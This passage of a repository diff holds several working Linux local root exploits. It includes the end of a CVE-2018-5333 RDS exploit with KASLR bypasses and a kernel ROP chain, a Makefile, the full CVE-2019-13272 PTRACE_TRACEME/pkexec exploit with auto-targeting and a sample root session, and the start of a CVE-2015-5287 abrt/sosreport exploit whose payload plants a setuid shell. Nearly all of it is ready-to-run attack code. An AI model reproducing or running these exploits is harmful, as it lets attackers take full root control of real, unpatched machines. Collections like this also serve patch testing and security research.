char* path = "/proc/self/mem";
int fd = open(path, O_RDWR);
if (fd == -1) {
dprintf("open(%s): %m\n", path);
exit(EXIT_FAILURE);
}
unsigned long addr = (unsigned long)map;
while (addr != 0) {
addr -= 0x1000;
if (lseek(fd, addr, SEEK_SET) == -1) {
dprintf("lseek()\n");
exit(EXIT_FAILURE);
}
char cmd[1000];
sprintf(cmd, "LD_DEBUG=help su 1>&%d", fd);
system(cmd);
}
}
// * * * * * * * * * * * * * * * save state * * * * * * * * * * * * * * *
// https://github.com/vnik5287/kernel_rop
unsigned long user_cs, user_ss, user_rflags;
static void save_state() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"pushfq\n"
"popq %2\n"
: "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory");
}
// * * * * * * * * * * * * * * SIGSEGV handler * * * * * * * * * * * * * *
void handler(int signo, siginfo_t* info, void* vcontext) {}
void debug_enable_sigsev_handler() {
struct sigaction action;
memset(&action, 0, sizeof(struct sigaction));
action.sa_flags = SA_SIGINFO;
action.sa_sigaction = handler;
sigaction(SIGSEGV, &action, NULL);
}
// * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * *
#define CHUNK_SIZE 1024
int read_file(const char* file, char* buffer, int max_length) {
int f = open(file, O_RDONLY);
if (f == -1)
return -1;
int bytes_read = 0;
while (1) {
int bytes_to_read = CHUNK_SIZE;
if (bytes_to_read > max_length - bytes_read)
bytes_to_read = max_length - bytes_read;
int rv = read(f, &buffer[bytes_read], bytes_to_read);
if (rv == -1)
return -1;
bytes_read += rv;
if (rv == 0)
return bytes_read;
}
}
#define PROC_CPUINFO_LENGTH 4096
static int check_env() {
int fd = socket(AF_RDS, 5, 0);
if(fd < 0) {
dprintf("[-] socket(AF_RDS): RDS kernel module not loaded?\n");
exit(EXIT_FAILURE);
}
char buffer[PROC_CPUINFO_LENGTH];
char* path = "/proc/cpuinfo";
int length = read_file(path, &buffer[0], PROC_CPUINFO_LENGTH);
if (length == -1) {
dprintf("[-] open/read(%s): %m\n", path);
exit(EXIT_FAILURE);
}
char* found = memmem(&buffer[0], length, "smap", 4);
if (found != NULL) {
dprintf("[-] SMAP detected, no bypass available\n");
exit(EXIT_FAILURE);
}
struct stat st;
if (stat("/dev/grsec", &st) == 0) {
dprintf("[!] Warning: grsec is in use\n");
}
if (stat("/proc/sys/lkrg", &st) == 0) {
dprintf("[!] Warning: lkrg is in use\n");
}
return 0;
}
struct utsname get_kernel_version() {
struct utsname u;
int rv = uname(&u);
if (rv != 0) {
dprintf("[-] uname()\n");
exit(EXIT_FAILURE);
}
return u;
}
#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0]))
#define KERNEL_VERSION_SIZE_BUFFER 512
void detect_versions() {
struct utsname u;
char kernel_version[KERNEL_VERSION_SIZE_BUFFER];
u = get_kernel_version();
if (strstr(u.machine, "64") == NULL) {
dprintf("[-] system is not using a 64-bit kernel\n");
exit(EXIT_FAILURE);
}
if (strstr(u.version, "-Ubuntu") == NULL) {
dprintf("[-] system is not using an Ubuntu kernel\n");
exit(EXIT_FAILURE);
}
char *u_ver = strtok(u.version, " ");
snprintf(kernel_version, KERNEL_VERSION_SIZE_BUFFER, "%s %s", u.release, u_ver);
int i;
for (i = 0; i < ARRAY_SIZE(kernels); i++) {
if (strcmp(kernel_version, kernels[i].kernel_version) == 0) {
dprintf("[.] kernel version '%s' detected\n", kernels[i].kernel_version);
kernel = i;
return;
}
}
dprintf("[-] kernel version '%s' not recognized\n", kernel_version);
exit(EXIT_FAILURE);
}
// * * * * * * * * * * * * * * kallsyms KASLR bypass * * * * * * * * * * * * * *
// https://grsecurity.net/~spender/exploits/exploit.txt
#if ENABLE_KASLR_BYPASS_KALLSYMS
unsigned long get_kernel_addr_kallsyms() {
FILE *f;
unsigned long addr = 0;
char dummy;
char sname[256];
char* name = "startup_64";
char* path = "/proc/kallsyms";
dprintf("[.] trying %s...\n", path);
f = fopen(path, "r");
if (f == NULL) {
dprintf("[-] open/read(%s): %m\n", path);
return 0;
}
int ret = 0;
while (ret != EOF) {
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
fclose(f);
if (addr == 0)
dprintf("[-] kernel base not found in %s\n", path);
return addr;
}
}
fclose(f);
dprintf("[-] kernel base not found in %s\n", path);
return 0;
}
#endif
// * * * * * * * * * * * * * * syslog KASLR bypass * * * * * * * * * * * * * *
// https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-1000112/poc.c
#if ENABLE_KASLR_BYPASS_SYSLOG
#define SYSLOG_ACTION_READ_ALL 3
#define SYSLOG_ACTION_SIZE_BUFFER 10
int mmap_syslog(char** buffer, int* size) {
*size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0);
if (*size == -1) {
dprintf("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER): %m\n");
return 1;
}
*size = (*size / getpagesize() + 1) * getpagesize();
*buffer = (char*)mmap(NULL, *size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
*size = klogctl(SYSLOG_ACTION_READ_ALL, &((*buffer)[0]), *size);
if (*size == -1) {
dprintf("[-] klogctl(SYSLOG_ACTION_READ_ALL): %m\n");
return 1;
}
return 0;
}
unsigned long get_kernel_addr_syslog_xenial(char* buffer, int size) {
const char* needle1 = "Freeing unused";
char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
if (substr == NULL)
return 0;
int start = 0;
int end = 0;
for (start = 0; substr[start] != '-'; start++);
for (end = start; substr[end] != '\n'; end++);
const char* needle2 = "ffffff";
substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
if (substr == NULL)
return 0;
char* endptr = &substr[16];
unsigned long addr = strtoul(&substr[0], &endptr, 16);
addr &= 0xfffffffffff00000ul;
addr -= 0x1000000ul;
if (addr > KERNEL_BASE_MIN && addr < KERNEL_BASE_MAX)
return addr;
return 0;
}
unsigned long get_kernel_addr_syslog() {
unsigned long addr = 0;
char* syslog;
int size;
dprintf("[.] trying syslog...\n");
if (mmap_syslog(&syslog, &size))
return 0;
addr = get_kernel_addr_syslog_xenial(syslog, size);
if (!addr)
dprintf("[-] kernel base not found in syslog\n");
return addr;
}
#endif
// * * * * * * * * * * * perf_event_open KASLR bypass * * * * * * * * * * *
// https://blog.lizzie.io/kaslr-and-perf.html
#if ENABLE_KASLR_BYPASS_PERF
int perf_event_open(struct perf_event_attr *attr, pid_t pid, int cpu, int group_fd, unsigned long flags)
{
return syscall(SYS_perf_event_open, attr, pid, cpu, group_fd, flags);
}
unsigned long get_kernel_addr_perf() {
int fd;
pid_t child;
dprintf("[.] trying perf_event_open sampling...\n");
child = fork();
if (child == -1) {
dprintf("[-] fork() failed: %m\n");
return 0;
}
if (child == 0) {
struct utsname self = {0};
while (1) uname(&self);
return 0;
}
struct perf_event_attr event = {
.type = PERF_TYPE_SOFTWARE,
.config = PERF_COUNT_SW_TASK_CLOCK,
.size = sizeof(struct perf_event_attr),
.disabled = 1,
.exclude_user = 1,
.exclude_hv = 1,
.sample_type = PERF_SAMPLE_IP,
.sample_period = 10,
.precise_ip = 1
};
fd = perf_event_open(&event, child, -1, -1, 0);
if (fd < 0) {
dprintf("[-] syscall(SYS_perf_event_open): %m\n");
if (child) kill(child, SIGKILL);
if (fd > 0) close(fd);
return 0;
}
uint64_t page_size = getpagesize();
struct perf_event_mmap_page *meta_page = NULL;
meta_page = mmap(NULL, (page_size * 2), PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
if (meta_page == MAP_FAILED) {
dprintf("[-] mmap() failed: %m\n");
if (child) kill(child, SIGKILL);
if (fd > 0) close(fd);
return 0;
}
if (ioctl(fd, PERF_EVENT_IOC_ENABLE)) {
dprintf("[-] ioctl failed: %m\n");
if (child) kill(child, SIGKILL);
if (fd > 0) close(fd);
return 0;
}
char *data_page = ((char *) meta_page) + page_size;
size_t progress = 0;
uint64_t last_head = 0;
size_t num_samples = 0;
unsigned long min_addr = ~0;
while (num_samples < 100) {
/* is reading from the meta_page racy? no idea */
while (meta_page->data_head == last_head);;
last_head = meta_page->data_head;
while (progress < last_head) {
struct __attribute__((packed)) sample {
struct perf_event_header header;
uint64_t ip;
} *here = (struct sample *) (data_page + progress % page_size);
switch (here->header.type) {
case PERF_RECORD_SAMPLE:
num_samples++;
if (here->header.size < sizeof(*here)) {
dprintf("[-] size too small.\n");
if (child) kill(child, SIGKILL);
if (fd > 0) close(fd);
return 0;
}
uint64_t prefix;
if (strstr(kernels[kernel].kernel_version, "4.8.0-")) {
prefix = here->ip & ~0xfffff;
} else {
prefix = here->ip & ~0xffffff;
}
if (prefix < min_addr) min_addr = prefix;
break;
case PERF_RECORD_THROTTLE:
case PERF_RECORD_UNTHROTTLE:
case PERF_RECORD_LOST:
break;
default:
dprintf("[-] unexpected perf event: %x\n", here->header.type);
if (child) kill(child, SIGKILL);
if (fd > 0) close(fd);
return 0;
}
progress += here->header.size;
}
/* tell the kernel we read it. */
meta_page->data_tail = last_head;
}
if (child) kill(child, SIGKILL);
if (fd > 0) close(fd);
return min_addr;
}
#endif
// * * * * * * * * * * * * * * mincore KASLR bypass * * * * * * * * * * * * * *
// https://bugs.chromium.org/p/project-zero/issues/detail?id=1431
#if ENABLE_KASLR_BYPASS_MINCORE
unsigned long get_kernel_addr_mincore() {
unsigned char buf[getpagesize() / sizeof(unsigned char)];
unsigned long iterations = 20000000;
unsigned long addr = 0;
dprintf("[.] trying mincore info leak...\n");
if (strstr(kernels[kernel].kernel_version, "4.8.0-")) {
dprintf("[-] target kernel does not permit mincore info leak\n");
return 0;
}
/* A MAP_ANONYMOUS | MAP_HUGETLB mapping */
if (mmap((void*)0x66000000, 0x20000000000,
PROT_NONE, MAP_SHARED | MAP_ANONYMOUS | MAP_HUGETLB | MAP_NORESERVE, -1, 0) == MAP_FAILED) {
dprintf("[-] mmap(): %m\n");
return 0;
}
int i;
for (i = 0; i <= iterations; i++) {
/* Touch a mishandle with this type mapping */
if (mincore((void*)0x86000000, 0x1000000, buf)) {
dprintf("[-] mincore(): %m\n");
return 0;
}
int n;
for (n = 0; n < getpagesize() / sizeof(unsigned char); n++) {
addr = *(unsigned long*)(&buf[n]);
/* Kernel address space */
if (addr > KERNEL_BASE_MIN && addr < KERNEL_BASE_MAX) {
addr &= 0xffffffffff000000ul;
if (munmap((void*)0x66000000, 0x20000000000))
dprintf("[-] munmap(): %m\n");
return addr;
}
}
}
if (munmap((void*)0x66000000, 0x20000000000))
dprintf("[-] munmap(): %m\n");
dprintf("[-] kernel base not found in mincore info leak\n");
return 0;
}
#endif
// * * * * * * * * * * * * * * KASLR bypasses * * * * * * * * * * * * * * * *
unsigned long get_kernel_addr() {
unsigned long addr = 0;
#if ENABLE_KASLR_BYPASS_KALLSYMS
addr = get_kernel_addr_kallsyms();
if (addr) return addr;
#endif
#if ENABLE_KASLR_BYPASS_SYSLOG
addr = get_kernel_addr_syslog();
if (addr) return addr;
#endif
#if ENABLE_KASLR_BYPASS_PERF
addr = get_kernel_addr_perf();
if (addr) return addr;
#endif
#if ENABLE_KASLR_BYPASS_MINCORE
addr = get_kernel_addr_mincore();
if (addr) return addr;
#endif
dprintf("[-] KASLR bypass failed, kernel base not found\n");
exit(EXIT_FAILURE);
return 0;
}
// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *
static void shell() {
if (getuid() == 0 && geteuid() == 0) {
dprintf("[+] got root\n");
system(SHELL);
} else {
dprintf("[-] failed\n");
}
exit(EXIT_FAILURE);
}
void fork_shell() {
pid_t rv;
rv = fork();
if (rv == -1) {
dprintf("[-] fork(): %m\n");
exit(EXIT_FAILURE);
}
if (rv == 0)
shell();
}
int main(int argc, char *argv[]) {
if (argc > 1) SHELL = argv[1];
dprintf("Linux RDS rds_atomic_free_op NULL pointer dereference local root (CVE-2018-5333)\n");
dprintf("[.] checking kernel version...\n");
detect_versions();
dprintf("[~] done, version looks good\n");
#if ENABLE_SYSTEM_CHECKS
dprintf("[.] checking system...\n");
check_env();
dprintf("[~] done, looks good\n");
#endif
dprintf("[.] mapping null address...\n");
map_null();
dprintf("[~] done, mapped null address\n");
#if ENABLE_KASLR_BYPASS
dprintf("[.] KASLR bypass enabled, getting kernel base address\n");
KERNEL_BASE = get_kernel_addr();
dprintf("[.] done, kernel text: %lx\n", KERNEL_BASE);
#endif
unsigned long commit_creds = (KERNEL_BASE + kernels[kernel].commit_creds);
unsigned long prepare_kernel_cred = (KERNEL_BASE + kernels[kernel].prepare_kernel_cred);
unsigned long xor_rdi = (KERNEL_BASE + kernels[kernel].xor_rdi);
unsigned long mov_rdi_rax = (KERNEL_BASE + kernels[kernel].mov_rdi_rax);
unsigned long xchg_esp = (KERNEL_BASE + kernels[kernel].xchg_esp);
unsigned long swapgs = (KERNEL_BASE + kernels[kernel].swapgs);
unsigned long iretq = (KERNEL_BASE + kernels[kernel].iretq);
dprintf("[.] commit_creds: %lx\n", commit_creds);
dprintf("[.] prepare_kernel_cred: %lx\n", prepare_kernel_cred);
dprintf("[.] mmapping fake stack...\n");
uint64_t page_size = getpagesize();
uint64_t stack_aligned = (xchg_esp & 0x00000000fffffffful) & ~(page_size - 1);
uint64_t stack_offset = xchg_esp % page_size;
unsigned long *fake_stack = mmap((void*)stack_aligned, 0x200000,
PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_GROWSDOWN | MAP_FIXED, -1, 0);
if (fake_stack == MAP_FAILED) {
dprintf("[-] mmap(fake_stack): %m\n");
exit(EXIT_FAILURE);
}
unsigned long *temp_stack = mmap((void*)0x30000000, 0x10000000,
PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_GROWSDOWN | MAP_FIXED, -1, 0);
if (temp_stack == MAP_FAILED) {
dprintf("[-] mmap(temp_stack): %m\n");
exit(EXIT_FAILURE);
}
static unsigned long result = 0;
unsigned long *data = (unsigned long *)0;
data[1] = (uint64_t)&result;
data[3] = xchg_esp;
save_state();
debug_enable_sigsev_handler();
fake_stack = (unsigned long *)(stack_aligned + stack_offset);
int i = 0;
fake_stack[i++] = xor_rdi;
fake_stack[i++] = prepare_kernel_cred;
fake_stack[i++] = mov_rdi_rax;
fake_stack[i++] = 0x12345678;
fake_stack[i++] = 0x12345678;
fake_stack[i++] = 0x12345678;
fake_stack[i++] = commit_creds;
fake_stack[i++] = swapgs;
fake_stack[i++] = 0x12345678;
fake_stack[i++] = iretq;
fake_stack[i++] = (unsigned long)shell;
fake_stack[i++] = user_cs;
fake_stack[i++] = user_rflags;
fake_stack[i++] = (unsigned long)(temp_stack + 0x500000);
fake_stack[i++] = user_ss;
dprintf("[~] done, fake stack mmapped\n");
dprintf("[.] executing payload %p...\n", (void*)&shell);
trigger_bug();
return 0;
}
Binary file not shown.
+4
View File
@@ -0,0 +1,4 @@
all:
x86_64-linux-musl-cc -static -s -pie poc.c -o exploit
Binary file not shown.
+464
View File
@@ -0,0 +1,464 @@
// Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)
// Uses pkexec technique
// ---
// Original discovery and exploit author: Jann Horn
// - https://bugs.chromium.org/p/project-zero/issues/detail?id=1903
// ---
// <bcoles@gmail.com>
// - added known helper paths
// - added search for suitable helpers
// - added automatic targeting
// - changed target suid executable from passwd to pkexec
// https://github.com/bcoles/kernel-exploits/tree/master/CVE-2019-13272
// ---
// Tested on:
// - Ubuntu 16.04.5 kernel 4.15.0-29-generic
// - Ubuntu 18.04.1 kernel 4.15.0-20-generic
// - Ubuntu 19.04 kernel 5.0.0-15-generic
// - Ubuntu Mate 18.04.2 kernel 4.18.0-15-generic
// - Linux Mint 17.3 kernel 4.4.0-89-generic
// - Linux Mint 18.3 kernel 4.13.0-16-generic
// - Linux Mint 19 kernel 4.15.0-20-generic
// - Xubuntu 16.04.4 kernel 4.13.0-36-generic
// - ElementaryOS 0.4.1 4.8.0-52-generic
// - Backbox 6 kernel 4.18.0-21-generic
// - Parrot OS 4.5.1 kernel 4.19.0-parrot1-13t-amd64
// - Kali kernel 4.19.0-kali5-amd64
// - Redcore 1806 (LXQT) kernel 4.16.16-redcore
// - MX 18.3 kernel 4.19.37-2~mx17+1
// - RHEL 8.0 kernel 4.18.0-80.el8.x86_64
// - Debian 9.4.0 kernel 4.9.0-6-amd64
// - Debian 10.0.0 kernel 4.19.0-5-amd64
// - Devuan 2.0.0 kernel 4.9.0-6-amd64
// - SparkyLinux 5.8 kernel 4.19.0-5-amd64
// - Fedora Workstation 30 kernel 5.0.9-301.fc30.x86_64
// - Manjaro 18.0.3 kernel 4.19.23-1-MANJARO
// - Mageia 6 kernel 4.9.35-desktop-1.mga6
// - Antergos 18.7 kernel 4.17.6-1-ARCH
// ---
// user@linux-mint-19-2:~$ gcc -Wall --std=gnu99 -s poc.c -o ptrace_traceme_root
// user@linux-mint-19-2:~$ ./ptrace_traceme_root
// Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)
// [.] Checking environment ...
// [~] Done, looks good
// [.] Searching for known helpers ...
// [~] Found known helper: /usr/sbin/mate-power-backlight-helper
// [.] Using helper: /usr/sbin/mate-power-backlight-helper
// [.] Spawning suid process (/usr/bin/pkexec) ...
// [.] Tracing midpid ...
// [~] Attached to midpid
// To run a command as administrator (user "root"), use "sudo <command>".
// See "man sudo_root" for details.
//
// root@linux-mint-19-2:/home/user#
// ---
#define _GNU_SOURCE
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <stdio.h>
#include <fcntl.h>
#include <sched.h>
#include <stddef.h>
#include <stdarg.h>
#include <pwd.h>
#include <sys/prctl.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <sys/user.h>
#include <sys/syscall.h>
#include <sys/stat.h>
#include <linux/elf.h>
#define DEBUG
#ifdef DEBUG
# define dprintf printf
#else
# define dprintf
#endif
#define SAFE(expr) ({ \
typeof(expr) __res = (expr); \
if (__res == -1) { \
dprintf("[-] Error: %s\n", #expr); \
return 0; \
} \
__res; \
})
#define max(a,b) ((a)>(b) ? (a) : (b))
/*
* execveat() syscall
* https://github.com/torvalds/linux/blob/master/arch/x86/entry/syscalls/syscall_64.tbl
*/
#ifndef __NR_execveat
# define __NR_execveat 322
#endif
static const char *SHELL = "/bin/bash";
static int middle_success = 1;
static int block_pipe[2];
static int self_fd = -1;
static int dummy_status;
static const char *helper_path;
static const char *pkexec_path = "/usr/bin/pkexec";
static const char *pkaction_path = "/usr/bin/pkaction";
struct stat st;
const char *helpers[1024];
const char *known_helpers[] = {
"/usr/lib/gnome-settings-daemon/gsd-backlight-helper",
"/usr/lib/gnome-settings-daemon/gsd-wacom-led-helper",
"/usr/lib/unity-settings-daemon/usd-backlight-helper",
"/usr/lib/x86_64-linux-gnu/xfce4/session/xfsm-shutdown-helper",
"/usr/lib/x86_64-linux-gnu/cinnamon-settings-daemon/csd-backlight-helper",
"/usr/sbin/mate-power-backlight-helper",
"/usr/bin/xfpm-power-backlight-helper",
"/usr/bin/lxqt-backlight_backend",
"/usr/libexec/gsd-wacom-led-helper",
"/usr/libexec/gsd-wacom-oled-helper",
"/usr/libexec/gsd-backlight-helper",
"/usr/lib/gsd-backlight-helper",
"/usr/lib/gsd-wacom-led-helper",
"/usr/lib/gsd-wacom-oled-helper",
};
/* temporary printf; returned pointer is valid until next tprintf */
static char *tprintf(char *fmt, ...) {
static char buf[10000];
va_list ap;
va_start(ap, fmt);
vsprintf(buf, fmt, ap);
va_end(ap);
return buf;
}
/*
* fork, execute pkexec in parent, force parent to trace our child process,
* execute suid executable (pkexec) in child.
*/
static int middle_main(void *dummy) {
prctl(PR_SET_PDEATHSIG, SIGKILL);
pid_t middle = getpid();
self_fd = SAFE(open("/proc/self/exe", O_RDONLY));
pid_t child = SAFE(fork());
if (child == 0) {
prctl(PR_SET_PDEATHSIG, SIGKILL);
SAFE(dup2(self_fd, 42));
/* spin until our parent becomes privileged (have to be fast here) */
int proc_fd = SAFE(open(tprintf("/proc/%d/status", middle), O_RDONLY));
char *needle = tprintf("\nUid:\t%d\t0\t", getuid());
while (1) {
char buf[1000];
ssize_t buflen = SAFE(pread(proc_fd, buf, sizeof(buf)-1, 0));
buf[buflen] = '\0';
if (strstr(buf, needle)) break;
}
/*
* this is where the bug is triggered.
* while our parent is in the middle of pkexec, we force it to become our
* tracer, with pkexec's creds as ptracer_cred.
*/
SAFE(ptrace(PTRACE_TRACEME, 0, NULL, NULL));
/*
* now we execute a suid executable (pkexec).
* Because the ptrace relationship is considered to be privileged,
* this is a proper suid execution despite the attached tracer,
* not a degraded one.
* at the end of execve(), this process receives a SIGTRAP from ptrace.
*/
execl(pkexec_path, basename(pkexec_path), NULL);
dprintf("[-] execl: Executing suid executable failed");
exit(EXIT_FAILURE);
}
SAFE(dup2(self_fd, 0));
SAFE(dup2(block_pipe[1], 1));
/* execute pkexec as current user */
struct passwd *pw = getpwuid(getuid());
if (pw == NULL) {
dprintf("[-] getpwuid: Failed to retrieve username");
exit(EXIT_FAILURE);
}
middle_success = 1;
execl(pkexec_path, basename(pkexec_path), "--user", pw->pw_name,
helper_path,
"--help", NULL);
middle_success = 0;
dprintf("[-] execl: Executing pkexec failed");
exit(EXIT_FAILURE);
}
/* ptrace pid and wait for signal */
static int force_exec_and_wait(pid_t pid, int exec_fd, char *arg0) {
struct user_regs_struct regs;
struct iovec iov = { .iov_base = &regs, .iov_len = sizeof(regs) };
SAFE(ptrace(PTRACE_SYSCALL, pid, 0, NULL));
SAFE(waitpid(pid, &dummy_status, 0));
SAFE(ptrace(PTRACE_GETREGSET, pid, NT_PRSTATUS, &iov));
/* set up indirect arguments */
unsigned long scratch_area = (regs.rsp - 0x1000) & ~0xfffUL;
struct injected_page {
unsigned long argv[2];
unsigned long envv[1];
char arg0[8];
char path[1];
} ipage = {
.argv = { scratch_area + offsetof(struct injected_page, arg0) }
};
strcpy(ipage.arg0, arg0);
int i;
for (i = 0; i < sizeof(ipage)/sizeof(long); i++) {
unsigned long pdata = ((unsigned long *)&ipage)[i];
SAFE(ptrace(PTRACE_POKETEXT, pid, scratch_area + i * sizeof(long),
(void*)pdata));
}
/* execveat(exec_fd, path, argv, envv, flags) */
regs.orig_rax = __NR_execveat;
regs.rdi = exec_fd;
regs.rsi = scratch_area + offsetof(struct injected_page, path);
regs.rdx = scratch_area + offsetof(struct injected_page, argv);
regs.r10 = scratch_area + offsetof(struct injected_page, envv);
regs.r8 = AT_EMPTY_PATH;
SAFE(ptrace(PTRACE_SETREGSET, pid, NT_PRSTATUS, &iov));
SAFE(ptrace(PTRACE_DETACH, pid, 0, NULL));
SAFE(waitpid(pid, &dummy_status, 0));
return 0;
}
static int middle_stage2(void) {
/* our child is hanging in signal delivery from execve()'s SIGTRAP */
pid_t child = SAFE(waitpid(-1, &dummy_status, 0));
return force_exec_and_wait(child, 42, "stage3");
}
// * * * * * * * * * * * * * * * * root shell * * * * * * * * * * * * * * * * *
static int spawn_shell(void) {
SAFE(setresgid(0, 0, 0));
SAFE(setresuid(0, 0, 0));
execlp(SHELL, basename(SHELL), NULL);
dprintf("[-] execlp: Executing shell %s failed", SHELL);
exit(EXIT_FAILURE);
}
// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * * *
static int check_env(void) {
int warn = 0;
const char* xdg_session = getenv("XDG_SESSION_ID");
dprintf("[.] Checking environment ...\n");
if (stat(pkexec_path, &st) != 0) {
dprintf("[-] Could not find pkexec executable at %s\n", pkexec_path);
exit(EXIT_FAILURE);
}
if (stat(pkaction_path, &st) != 0) {
dprintf("[-] Could not find pkaction executable at %s\n", pkaction_path);
exit(EXIT_FAILURE);
}
if (stat("/dev/grsec", &st) == 0) {
dprintf("[-] Warning: grsec is in use\n");
warn++;
}
if (xdg_session == NULL) {
dprintf("[!] Warning: $XDG_SESSION_ID is not set\n");
warn++;
}
if (system("/bin/loginctl --no-ask-password show-session $XDG_SESSION_ID | /bin/grep Remote=no >>/dev/null 2>>/dev/null") != 0) {
dprintf("[!] Warning: Could not find active PolKit agent\n");
warn++;
}
if (stat("/usr/sbin/getsebool", &st) == 0) {
if (system("/usr/sbin/getsebool deny_ptrace 2>&1 | /bin/grep -q on") == 0) {
dprintf("[!] Warning: SELinux deny_ptrace is enabled\n");
warn++;
}
}
dprintf("[~] Done, looks good\n");
return warn;
}
/*
* Use pkaction to search PolKit policy actions for viable helper executables.
* Check each action for allow_active=yes, extract the associated helper path,
* and check the helper path exists.
*/
int find_helpers() {
char cmd[1024];
snprintf(cmd, sizeof(cmd), "%s --verbose", pkaction_path);
FILE *fp;
fp = popen(cmd, "r");
if (fp == NULL) {
dprintf("[-] Failed to run: %s\n", cmd);
exit(EXIT_FAILURE);
}
char line[1024];
char buffer[2048];
int helper_index = 0;
int useful_action = 0;
static const char *needle = "org.freedesktop.policykit.exec.path -> ";
int needle_length = strlen(needle);
while (fgets(line, sizeof(line)-1, fp) != NULL) {
/* check the action uses allow_active=yes*/
if (strstr(line, "implicit active:")) {
if (strstr(line, "yes")) {
useful_action = 1;
}
continue;
}
if (useful_action == 0)
continue;
useful_action = 0;
/* extract the helper path */
int length = strlen(line);
char* found = memmem(&line[0], length, needle, needle_length);
if (found == NULL)
continue;
memset(buffer, 0, sizeof(buffer));
int i;
for (i = 0; found[needle_length + i] != '\n'; i++) {
if (i >= sizeof(buffer)-1)
continue;
buffer[i] = found[needle_length + i];
}
if (strstr(&buffer[0], "/xf86-video-intel-backlight-helper") != 0 ||
strstr(&buffer[0], "/cpugovctl") != 0 ||
strstr(&buffer[0], "/package-system-locked") != 0 ||
strstr(&buffer[0], "/cddistupgrader") != 0) {
dprintf("[.] Ignoring blacklisted helper: %s\n", &buffer[0]);
continue;
}
/* check the path exists */
if (stat(&buffer[0], &st) != 0)
continue;
helpers[helper_index] = strndup(&buffer[0], strlen(buffer));
helper_index++;
if (helper_index >= sizeof(helpers)/sizeof(helpers[0]))
break;
}
pclose(fp);
return 0;
}
// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * *
int ptrace_traceme_root() {
dprintf("[.] Using helper: %s\n", helper_path);
/*
* set up a pipe such that the next write to it will block: packet mode,
* limited to one packet
*/
SAFE(pipe2(block_pipe, O_CLOEXEC|O_DIRECT));
SAFE(fcntl(block_pipe[0], F_SETPIPE_SZ, 0x1000));
char dummy = 0;
SAFE(write(block_pipe[1], &dummy, 1));
/* spawn pkexec in a child, and continue here once our child is in execve() */
dprintf("[.] Spawning suid process (%s) ...\n", pkexec_path);
static char middle_stack[1024*1024];
pid_t midpid = SAFE(clone(middle_main, middle_stack+sizeof(middle_stack),
CLONE_VM|CLONE_VFORK|SIGCHLD, NULL));
if (!middle_success) return 1;
/*
* wait for our child to go through both execve() calls (first pkexec, then
* the executable permitted by polkit policy).
*/
while (1) {
int fd = open(tprintf("/proc/%d/comm", midpid), O_RDONLY);
char buf[16];
int buflen = SAFE(read(fd, buf, sizeof(buf)-1));
buf[buflen] = '\0';
*strchrnul(buf, '\n') = '\0';
if (strncmp(buf, basename(helper_path), 15) == 0)
break;
usleep(100000);
}
/*
* our child should have gone through both the privileged execve() and the
* following execve() here
*/
dprintf("[.] Tracing midpid ...\n");
SAFE(ptrace(PTRACE_ATTACH, midpid, 0, NULL));
SAFE(waitpid(midpid, &dummy_status, 0));
dprintf("[~] Attached to midpid\n");
force_exec_and_wait(midpid, 0, "stage2");
exit(EXIT_SUCCESS);
}
int main(int argc, char **argv) {
if (strcmp(argv[0], "stage2") == 0)
return middle_stage2();
if (strcmp(argv[0], "stage3") == 0)
return spawn_shell();
dprintf("Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)\n");
check_env();
if (argc > 1 && strcmp(argv[1], "check") == 0) {
exit(0);
}
/* Search for known helpers defined in 'known_helpers' array */
dprintf("[.] Searching for known helpers ...\n");
int i;
for (i=0; i<sizeof(known_helpers)/sizeof(known_helpers[0]); i++) {
if (stat(known_helpers[i], &st) == 0) {
helper_path = known_helpers[i];
dprintf("[~] Found known helper: %s\n", helper_path);
ptrace_traceme_root();
}
}
/* Search polkit policies for helper executables */
dprintf("[.] Searching for useful helpers ...\n");
find_helpers();
for (i=0; i<sizeof(helpers)/sizeof(helpers[0]); i++) {
if (helpers[i] == NULL)
break;
if (stat(helpers[i], &st) == 0) {
helper_path = helpers[i];
ptrace_traceme_root();
}
}
return 0;
}
Binary file not shown.
@@ -0,0 +1,114 @@
#!/usr/bin/python
# CVE-2015-5287 (?)
# abrt/sosreport RHEL 7.0/7.1 local root
# rebel 09/2015
# [user@localhost ~]$ python sosreport-rhel7.py
# crashing pid 19143
# waiting for dump directory
# dump directory: /var/tmp/abrt/ccpp-2015-11-30-19:41:13-19143
# waiting for sosreport directory
# sosreport: sosreport-localhost.localdomain-20151130194114
# waiting for tmpfiles
# tmpfiles: ['tmpurfpyY', 'tmpYnCfnQ']
# moving directory
# moving tmpfiles
# tmpurfpyY -> tmpurfpyY.old
# tmpYnCfnQ -> tmpYnCfnQ.old
# waiting for sosreport to finish (can take several minutes)........................................done
# success
# bash-4.2# id
# uid=0(root) gid=1000(user) groups=0(root),1000(user) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
# bash-4.2# cat /etc/redhat-release
# Red Hat Enterprise Linux Server release 7.1 (Maipo)
import os,sys,glob,time,sys,socket
payload = "#!/bin/sh\ncp /bin/sh /tmp/sh\nchmod 6755 /tmp/sh\n"
pid = os.fork()
if pid == 0:
